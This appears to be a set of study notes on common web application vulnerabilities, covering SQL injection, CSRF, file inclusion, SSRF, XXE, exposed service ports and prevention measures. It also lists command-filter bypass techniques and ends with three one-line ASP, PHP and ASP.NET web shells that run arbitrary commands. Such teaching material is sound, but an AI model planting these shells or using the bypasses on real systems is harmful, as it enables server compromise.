Common Security Vulnerabilities Analysis

Top 10 Web Application Vulnerabiliites

1. SQL Injection
2. Broken Authentication and Session Management
3. Cross-Site Scripting (XSS)
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery (CSRF)
9. Using Components with Known Vulnerabilities
10. Unvalidated Redirects and Forwards

SQL Injection Vulnerability

Fundamental Principle

SQL injection occurs when user input is directly concatenated into database queries without proper validation or sanitization. Attackers can insert malicious SQL code that gets executed by the database server.

Categories

• Union-based injection
• Blind injection: Time-based, Boolean-based, Error-based

Prevention Methods

• Disable detailed error messages
• Implement Web Application Firewalls
• Input validation and filtering
• Input length restrictions
• Database permission limitations
• Prepared statements with parameterized queries
• Secure database information storage with proper hashing
• Code review practices and established security frameworks

CSRF Vulnerability

Core Concept

Cross-Site Request Forgery occurs when attackers trick authenticated users into submitting malicious requests to web applications where they're currently authenticated.

Protection Strategies

• Prefer POST over GET for state-changing operations
• Implement browser cookie security policies
• Use CAPTCHA verification
• Referer header validation
• Anti-CSRF tokens

File Inclusion Vulnerabilities

Types

• Local File Inclusion (LFI)
• Remote File Inclusion (RFI) - Requires allow_url_include and allow_url_fopen enabled

PHP File Inclusion Functions

• include() - Includes file during execution, continues on error
• include_once() - Includes file once during execution
• require() - Includes file immediately, terminates on error
• require_once() - Includes file once immediate

File Upload Vulnerabilities

Security Measures

• Server-side file validation
• Whitelist/blacklist file extension filtering
• MIME type verification
• File content inspection
• Built-in security functions
• WAF protection solutions

SSRF Vulnerability

Exploitation Techniques

Server-Side Request Forgery abuses functionality that makes external requests to attack internal services. Common protocols used include file, dict, and gopher protocols for internal service exploitation.

Business Logic Vulnerabilities

Common Scenarios

• Order amount manipulation
• Verification code exposure
• Missing authentication checks
• Unlimited enumeration attacks
• Cookie security flaws

XSS Vulnerability Types

• Stored XSS
• Reflected XSS
• DOM-based XSS

XXE Vulnerability

XML External Entity processing vulnerabilities allow attackers to read local files, perform internal port scanning, and conduct denial-of-service attacks through malicious XML input.

Code Execution Vulnerabilities

Vulnerable Functions

• PHP: eval(), assert()
• Python: exec()
• ASP server-side execution functions

Common Service Ports and Vulnerabilities

Web Services

• 80, 443 - HTTP/HTTPS with common web vulnerabilities
• 8000-9090 - Alternative web service ports

Database Services

• 1433 - MSSQL with weak credential issues
• 1521 - Oracle data base vulnerabilities
• 3306 - MySQL security concerns
• 5432 - PostgreSQL authentication flaws

Special Service Vulnerabilities

• 6379 - Redis unauthorized access
• 9200/9300 - ElasticSearch command execution
• 11211 - Memcache unauthorized access

Command Execution Bypass Techniques

• Command concatenation using variables
• Encoding and decoding methods
• Input/output redirection
• Command substitution using backticks
• Base64 encoding obfuscation
• Line continuation characters

Web Shell Examples

ASP Web Shell

<%Execute(Request("cmd"))%>

PHP Web Shell

<?php @system($_REQUEST['cmd']); ?>

ASP.NET Web Shell

<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start(Request["cmd"]); %>